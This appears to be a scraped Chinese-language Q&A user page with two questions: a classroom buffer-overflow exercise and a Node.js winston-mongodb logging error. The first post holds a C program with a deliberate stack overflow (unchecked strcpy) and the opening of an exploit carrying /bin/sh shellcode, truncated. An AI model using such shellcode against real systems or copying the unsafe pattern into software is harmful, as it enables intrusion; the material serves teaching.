小编ozg*_*gen的帖子

利用BufferOverflow

我正在开发一个项目,我应该编写一个C程序来利用给定程序的漏洞.

这是易受攻击的C程序:

#include <stdlib.h>
#include <stdio.h>

int bof(char *str)
{
  char buffer[12];
  strcpy(buffer, str);
  return 1;
}

int main(int argc, char **argv)
{
  char str[517];
  FILE *badfile;
  badfile = fopen("badfile", "r");
  fread(str, sizeof(char), 517, badfile);
  bof(str);
  printf("Returned Properly\n");
  return 1;
}
Run Code Online (Sandbox Code Playgroud)

以下是利用的代码:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
"\x31\xc0"  /* xorl  %eax,%eax   */
"\x50"      /* pushl %eax        */
"\x68""//sh"/* pushl $0x68732f2f */
"\x68""/bin"/* pushl $0x6e69622f */
"\x89\xe3"  /* movl  %esp,%ebx   */
"\x50"      /* pushl %eax        */
"\x53"      /* …
Run Code Online (Sandbox Code Playgroud)

c linux

11
推荐指数
1
解决办法
1346
查看次数

使用winston-mongodb和express-winston进行记录

我正在尝试使用express-winston和winston-mongodb在NodeJS项目中将请求/响应记录到MongoDB中.这是我到目前为止工作的示例代码;

const expressWinston = require('express-winston');
const winston = require('winston'); 
require('winston-mongodb').MongoDB;

const logger = expressWinston.logger({
 transports: [
    winston.add(winston.transports.MongoDB, {
        db : 'something',
        collection : 'something',
        level : 'info',
        capped : true
    })
 ]
});
Run Code Online (Sandbox Code Playgroud)

我正在导出这个记录器并使用它我的index.js;

app.use(logger);
Run Code Online (Sandbox Code Playgroud)

最后,我面临着两个问题;

  1. 我的Mongo集合中为每个请求/响应创建了一个新条目,但它们是空的,如下所示 在此输入图像描述

  2. 即使创建了条目,我也有例外;

    TypeError:cb不是logDb.collection.insertOne.then.catch.err(\node_modules\winston-mongodb\lib\winston-mongodb.js:213:7)中的函数

以下是winston-mongodb.js中导致异常的代码块;

this.logDb.collection(this.collection).insertOne(entry).then(()=>{
  console.error('55dddddrrr', {});
  this.emit('logged');
  **cb(null, true);**
})
Run Code Online (Sandbox Code Playgroud)

我一直试图解决这个问题但是还没有想出任何有用的东西.非常感谢有关这个问题的任何帮助.

mongodb node.js express winston

5
推荐指数
1
解决办法
3115
查看次数

标签 统计

c ×1

express ×1

linux ×1

mongodb ×1

node.js ×1

winston ×1